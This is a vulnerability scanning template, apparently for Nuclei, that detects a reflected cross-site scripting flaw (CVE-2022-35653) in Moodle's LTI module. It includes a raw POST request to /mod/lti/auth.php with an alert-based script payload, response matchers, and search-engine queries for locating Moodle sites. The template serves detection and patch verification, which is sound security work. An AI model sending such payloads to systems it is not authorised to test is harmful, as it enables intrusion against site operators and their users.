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Moodle LTI module Reflected - Cross-Site Scripting

ID: CVE-2022-35653

Severity: medium

Author: iamnoooob,pdresearch

Tags: cve,cve2022,moodle,xss

A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.

id: CVE-2022-35653
info:
name: Moodle LTI module Reflected - Cross-Site Scripting
author: iamnoooob,pdresearch
severity: medium
description: |
A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.
reference:
- http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-72299
- https://nvd.nist.gov/vuln/detail/CVE-2022-35653
- https://bugzilla.redhat.com/show_bug.cgi?id=2106277
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-35653
cwe-id: CWE-79
epss-score: 0.01147
epss-percentile: 0.84758
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moodle
product: moodle
shodan-query:
- title:"Moodle"
- cpe:"cpe:2.3:a:moodle:moodle"
- http.title:"moodle"
fofa-query: title="moodle"
google-query: intitle:"moodle"
tags: cve,cve2022,moodle,xss
http:
- raw:
- |
POST /mod/lti/auth.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
xxx"><img/src%3d'x'onerror%3dalert('document_domain')>=1
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img/src='x'onerror=alert('document_domain')>"
- "moodle-editor"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a004630440220192513c475b4d18aa37b0ecb0dd83e760562ec782e996c11c039c4a111c6a26302204a77a92a2398949bc5591fcd9684a3bfdffc0ca9229baf8060ac4c22597fcb6b:922c64590222798bb761d5b6d8e72950

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